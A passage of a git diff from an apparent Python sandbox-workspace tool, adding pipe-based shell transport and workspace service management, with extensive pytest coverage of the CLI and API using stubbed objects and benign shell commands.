+ os.write(master_fd, payload.encode("utf-8")) + else: + if input_pipe is None: + raise RuntimeError(f"shell {self.shell_id} transport is unavailable") + input_pipe.write(payload.encode("utf-8")) + input_pipe.flush() except OSError as exc: self._refresh_process_state() raise RuntimeError(f"failed to write to shell {self.shell_id}: {exc}") from exc @@ -195,11 +218,17 @@ class LocalShellSession: def _reader_loop(self) -> None: master_fd = self._master_fd - if master_fd is None: + output_pipe = self._output_pipe + if master_fd is None and output_pipe is None: return while True: try: - chunk = os.read(master_fd, 65536) + if master_fd is not None: + chunk = os.read(master_fd, 65536) + else: + if output_pipe is None: + break + chunk = os.read(output_pipe.fileno(), 65536) except OSError: break if chunk == b"": @@ -234,6 +263,14 @@ class LocalShellSession: with self._lock: master_fd = self._master_fd self._master_fd = None + input_pipe = self._input_pipe + self._input_pipe = None + output_pipe = self._output_pipe + self._output_pipe = None + if input_pipe is not None: + input_pipe.close() + if output_pipe is not None: + output_pipe.close() if master_fd is None: return try: diff --git a/tests/test_api.py b/tests/test_api.py index 0a0e847..65762ec 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -1,7 +1,6 @@ from __future__ import annotations import asyncio -import time from pathlib import Path from typing import Any, cast @@ -58,6 +57,11 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: assert "shell_write" in tool_names assert "shell_signal" in tool_names assert "shell_close" in tool_names + assert "service_start" in tool_names + assert "service_list" in tool_names + assert "service_status" in tool_names + assert "service_logs" in tool_names + assert "service_stop" in tool_names def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: @@ -141,16 +145,16 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: diff_payload = pyro.diff_workspace(workspace_id) export_path = tmp_path / "exported-note.txt" exported = pyro.export_workspace(workspace_id, "note.txt", output_path=export_path) - opened = pyro.open_shell(workspace_id) - shell_id = str(opened["shell_id"]) - written = pyro.write_shell(workspace_id, shell_id, input="pwd") - read = pyro.read_shell(workspace_id, shell_id) - deadline = time.time() + 5 - while "/workspace" not in str(read["output"]) and time.time() < deadline: - read = pyro.read_shell(workspace_id, shell_id, cursor=0) - time.sleep(0.05) - signaled = pyro.signal_shell(workspace_id, shell_id) - closed = pyro.close_shell(workspace_id, shell_id) + service = pyro.start_service( + workspace_id, + "app", + command="sh -lc 'touch .ready; while true; do sleep 60; done'", + readiness={"type": "file", "path": ".ready"}, + ) + services = pyro.list_services(workspace_id) + service_status = pyro.status_service(workspace_id, "app") + service_logs = pyro.logs_service(workspace_id, "app", all=True) + service_stopped = pyro.stop_service(workspace_id, "app") status = pyro.status_workspace(workspace_id) logs = pyro.logs_workspace(workspace_id) deleted = pyro.delete_workspace(workspace_id) @@ -158,13 +162,15 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: assert executed["stdout"] == "ok\n" assert created["workspace_seed"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" - assert written["input_length"] == 3 assert diff_payload["changed"] is True assert exported["output_path"] == str(export_path) assert export_path.read_text(encoding="utf-8") == "ok\n" - assert "/workspace" in read["output"] - assert signaled["signal"] == "INT" - assert closed["closed"] is True + assert service["state"] == "running" + assert services["count"] == 1 + assert service_status["state"] == "running" + assert service_logs["tail_lines"] is None + assert service_stopped["state"] == "stopped" assert status["command_count"] == 1 + assert status["service_count"] == 1 assert logs["count"] == 1 assert deleted["deleted"] is True diff --git a/tests/test_cli.py b/tests/test_cli.py index a34babe..2fb8f35 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -114,6 +114,27 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "pyro workspace shell open WORKSPACE_ID" in workspace_shell_help assert "Use `workspace exec` for one-shot commands." in workspace_shell_help + workspace_service_help = _subparser_choice( + _subparser_choice(parser, "workspace"), + "service", + ).format_help() + assert "pyro workspace service start WORKSPACE_ID app" in workspace_service_help + assert "Use `--ready-file` by default" in workspace_service_help + + workspace_service_start_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "start" + ).format_help() + assert "--ready-file" in workspace_service_start_help + assert "--ready-tcp" in workspace_service_start_help + assert "--ready-http" in workspace_service_start_help + assert "--ready-command" in workspace_service_start_help + + workspace_service_logs_help = _subparser_choice( + _subparser_choice(_subparser_choice(parser, "workspace"), "service"), "logs" + ).format_help() + assert "--tail-lines" in workspace_service_logs_help + assert "--all" in workspace_service_logs_help + workspace_shell_open_help = _subparser_choice( _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "open" ).format_help() @@ -825,6 +846,303 @@ def test_cli_workspace_status_and_delete_print_json( assert deleted["deleted"] is True +def test_cli_workspace_status_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 0, + "last_command": None, + "service_count": 1, + "running_service_count": 1, + } + + class StatusParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="status", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Workspace ID: workspace-123" in output + assert "Services: 1/1" in output + + +def test_cli_workspace_logs_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "count": 0, "entries": []} + + class LogsParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="logs", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["count"] == 0 + + +def test_cli_workspace_delete_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def delete_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return {"workspace_id": workspace_id, "deleted": True} + + class DeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="delete", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: DeleteParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + assert "Deleted workspace: workspace-123" in capsys.readouterr().out + + +def test_cli_workspace_exec_prints_json_and_exits_nonzero( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def exec_workspace( + self, workspace_id: str, *, command: str, timeout_seconds: int + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert command == "false" + assert timeout_seconds == 30 + return { + "workspace_id": workspace_id, + "sequence": 1, + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "exit_code": 2, + "duration_ms": 5, + "stdout": "", + "stderr": "boom\n", + } + + class ExecParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="exec", + workspace_id="workspace-123", + timeout_seconds=30, + json=True, + command_args=["--", "false"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ExecParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="2"): + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["exit_code"] == 2 + + +def test_cli_workspace_exec_prints_human_error( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def exec_workspace( + self, workspace_id: str, *, command: str, timeout_seconds: int + ) -> dict[str, Any]: + del workspace_id, command, timeout_seconds + raise RuntimeError("exec boom") + + class ExecParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="exec", + workspace_id="workspace-123", + timeout_seconds=30, + json=False, + command_args=["--", "cat", "note.txt"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ExecParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + assert "[error] exec boom" in capsys.readouterr().err + + +def test_cli_workspace_export_and_diff_print_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def export_workspace( + self, workspace_id: str, path: str, *, output_path: str + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert output_path == "./note.txt" + return { + "workspace_id": workspace_id, + "workspace_path": "/workspace/note.txt", + "output_path": "/tmp/note.txt", + "artifact_type": "file", + "entry_count": 1, + "bytes_written": 6, + "execution_mode": "guest_vsock", + } + + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "changed": False, + "summary": { + "total": 0, + "added": 0, + "modified": 0, + "deleted": 0, + "type_changed": 0, + "text_patched": 0, + "non_text": 0, + }, + "entries": [], + "patch": "", + } + + class ExportParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="export", + workspace_id="workspace-123", + path="note.txt", + output="./note.txt", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ExportParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + export_payload = json.loads(capsys.readouterr().out) + assert export_payload["artifact_type"] == "file" + + class DiffParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="diff", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: DiffParser()) + cli.main() + diff_payload = json.loads(capsys.readouterr().out) + assert diff_payload["changed"] is False + + +@pytest.mark.parametrize( + ("command_name", "json_mode", "method_name"), + [ + ("list", True, "list_services"), + ("list", False, "list_services"), + ("status", True, "status_service"), + ("status", False, "status_service"), + ("logs", True, "logs_service"), + ("logs", False, "logs_service"), + ("stop", True, "stop_service"), + ("stop", False, "stop_service"), + ], +) +def test_cli_workspace_service_error_paths( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + command_name: str, + json_mode: bool, + method_name: str, +) -> None: + class StubPyro: + def list_services(self, workspace_id: str) -> dict[str, Any]: + del workspace_id + raise RuntimeError("service branch boom") + + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + del workspace_id, service_name + raise RuntimeError("service branch boom") + + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int | None, + all: bool, + ) -> dict[str, Any]: + del workspace_id, service_name, tail_lines, all + raise RuntimeError("service branch boom") + + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + del workspace_id, service_name + raise RuntimeError("service branch boom") + + class Parser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command=command_name, + workspace_id="workspace-123", + service_name="app", + tail_lines=50, + all=False, + json=json_mode, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: Parser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + captured = capsys.readouterr() + if json_mode: + payload = json.loads(captured.out) + assert payload["error"] == "service branch boom" + else: + assert "[error] service branch boom" in captured.err + assert hasattr(StubPyro, method_name) + + def test_cli_workspace_shell_open_and_read_human( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], @@ -1045,6 +1363,742 @@ def test_cli_workspace_shell_write_signal_close_json( assert closed["closed"] is True +def test_cli_workspace_shell_open_and_read_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def open_shell( + self, + workspace_id: str, + *, + cwd: str, + cols: int, + rows: int, + ) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "shell_id": "shell-123", + "state": "running", + "cwd": cwd, + "cols": cols, + "rows": rows, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + } + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int, + max_chars: int, + ) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "cursor": cursor, + "next_cursor": max_chars, + "output": "pyro$ pwd\n", + "truncated": False, + } + + class OpenParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="open", + workspace_id="workspace-123", + cwd="/workspace", + cols=120, + rows=30, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: OpenParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + opened = json.loads(capsys.readouterr().out) + assert opened["shell_id"] == "shell-123" + + class ReadParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="read", + workspace_id="workspace-123", + shell_id="shell-123", + cursor=0, + max_chars=1024, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["output"] == "pyro$ pwd\n" + + +def test_cli_workspace_shell_write_signal_close_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input: str, + append_newline: bool, + ) -> dict[str, Any]: + del input, append_newline + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "input_length": 3, + "append_newline": True, + } + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str, + ) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "running", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "guest_vsock", + "signal": signal_name, + } + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "state": "stopped", + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "started_at": 1.0, + "ended_at": 2.0, + "exit_code": 0, + "execution_mode": "guest_vsock", + "closed": True, + } + + class WriteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="write", + workspace_id="workspace-123", + shell_id="shell-123", + input="pwd", + no_newline=False, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + + class SignalParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="signal", + workspace_id="workspace-123", + shell_id="shell-123", + signal="INT", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SignalParser()) + cli.main() + + class CloseParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command="close", + workspace_id="workspace-123", + shell_id="shell-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: CloseParser()) + cli.main() + captured = capsys.readouterr() + assert "[workspace-shell-write]" in captured.err + assert "[workspace-shell-signal]" in captured.err + assert "[workspace-shell-close]" in captured.err + + +@pytest.mark.parametrize( + ("shell_command", "kwargs"), + [ + ("open", {"cwd": "/workspace", "cols": 120, "rows": 30}), + ("read", {"shell_id": "shell-123", "cursor": 0, "max_chars": 1024}), + ("write", {"shell_id": "shell-123", "input": "pwd", "no_newline": False}), + ("signal", {"shell_id": "shell-123", "signal": "INT"}), + ("close", {"shell_id": "shell-123"}), + ], +) +def test_cli_workspace_shell_error_paths( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + shell_command: str, + kwargs: dict[str, Any], +) -> None: + class StubPyro: + def open_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + def read_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + def write_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + def signal_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + def close_shell(self, *args: Any, **inner_kwargs: Any) -> dict[str, Any]: + del args, inner_kwargs + raise RuntimeError("shell boom") + + class Parser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="shell", + workspace_shell_command=shell_command, + workspace_id="workspace-123", + json=False, + **kwargs, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: Parser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + assert "[error] shell boom" in capsys.readouterr().err + + +def test_cli_workspace_service_start_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, workspace_id: str, service_name: str, **kwargs: Any + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert kwargs["command"] == "sh -lc 'touch .ready && while true; do sleep 60; done'" + assert kwargs["readiness"] == {"type": "file", "path": ".ready"} + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + } + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=".ready", + ready_tcp=None, + ready_http=None, + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + json=True, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["state"] == "running" + + +def test_cli_workspace_service_logs_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int, + all: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert tail_lines == 200 + assert all is False + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "stdout": "ready\n", + "stderr": "", + "tail_lines": 200, + "truncated": False, + } + + class LogsParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="logs", + workspace_id="workspace-123", + service_name="app", + tail_lines=200, + all=False, + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert captured.out == "ready\n" + assert "service_name=app" in captured.err + + +def test_cli_workspace_service_list_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_services(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "count": 2, + "running_count": 1, + "services": [ + { + "workspace_id": workspace_id, + "service_name": "app", + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": {"type": "file", "path": "/workspace/.ready"}, + }, + { + "workspace_id": workspace_id, + "service_name": "worker", + "state": "stopped", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": None, + }, + ], + } + + class ListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="list", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "app [running] cwd=/workspace" in captured.out + assert "worker [stopped] cwd=/workspace" in captured.out + + +def test_cli_workspace_service_status_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": {"type": "file", "path": "/workspace/.ready"}, + } + + class StatusParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="status", + workspace_id="workspace-123", + service_name="app", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["state"] == "running" + + +def test_cli_workspace_service_stop_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "stopped", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "stop_reason": "sigterm", + } + + class StopParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="stop", + workspace_id="workspace-123", + service_name="app", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "service_name=app" in captured.err + assert "state=stopped" in captured.err + + +def test_cli_workspace_service_start_rejects_multiple_readiness_flags( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service(self, *args: Any, **kwargs: Any) -> dict[str, Any]: + raise AssertionError("start_service should not be called") + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=".ready", + ready_tcp="127.0.0.1:8080", + ready_http=None, + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + json=False, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + captured = capsys.readouterr() + assert "choose at most one" in captured.err + + +def test_cli_workspace_service_start_prints_human_with_ready_command( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, workspace_id: str, service_name: str, **kwargs: Any + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert kwargs["readiness"] == {"type": "command", "command": "test -f .ready"} + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + } + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=None, + ready_tcp=None, + ready_http=None, + ready_command="test -f .ready", + ready_timeout_seconds=30, + ready_interval_ms=500, + json=False, + command_args=["--", "sh", "-lc", "touch .ready && while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "service_name=app" in captured.err + assert "state=running" in captured.err + + +def test_cli_workspace_service_start_prints_json_error( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def start_service( + self, workspace_id: str, service_name: str, **kwargs: Any + ) -> dict[str, Any]: + del workspace_id, service_name, kwargs + raise RuntimeError("service boom") + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="start", + workspace_id="workspace-123", + service_name="app", + cwd="/workspace", + ready_file=None, + ready_tcp="127.0.0.1:8080", + ready_http=None, + ready_command=None, + ready_timeout_seconds=30, + ready_interval_ms=500, + json=True, + command_args=["--", "sh", "-lc", "while true; do sleep 60; done"], + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["error"] == "service boom" + + +def test_cli_workspace_service_list_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_services(self, workspace_id: str) -> dict[str, Any]: + return {"workspace_id": workspace_id, "count": 0, "running_count": 0, "services": []} + + class ListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="list", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["count"] == 0 + + +def test_cli_workspace_service_status_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def status_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + del workspace_id + return { + "workspace_id": "workspace-123", + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "readiness": {"type": "tcp", "address": "127.0.0.1:8080"}, + } + + class StatusParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="status", + workspace_id="workspace-123", + service_name="app", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StatusParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + captured = capsys.readouterr() + assert "service_name=app" in captured.err + assert "state=running" in captured.err + + +def test_cli_workspace_service_logs_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def logs_service( + self, + workspace_id: str, + service_name: str, + *, + tail_lines: int | None, + all: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert service_name == "app" + assert tail_lines is None + assert all is True + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "running", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + "stdout": "ready\n", + "stderr": "", + "tail_lines": None, + "truncated": False, + } + + class LogsParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="logs", + workspace_id="workspace-123", + service_name="app", + tail_lines=None, + all=True, + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: LogsParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["tail_lines"] is None + + +def test_cli_workspace_service_stop_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def stop_service(self, workspace_id: str, service_name: str) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "service_name": service_name, + "state": "stopped", + "cwd": "/workspace", + "execution_mode": "guest_vsock", + } + + class StopParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="service", + workspace_service_command="stop", + workspace_id="workspace-123", + service_name="app", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + payload = json.loads(capsys.readouterr().out) + assert payload["state"] == "stopped" + + def test_cli_workspace_exec_json_error_exits_nonzero( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index f026351..39534f2 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -20,6 +20,12 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, PUBLIC_CLI_WORKSPACE_DIFF_FLAGS, PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_LIST_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_LOGS_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS, + PUBLIC_CLI_WORKSPACE_SERVICE_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS, PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS, 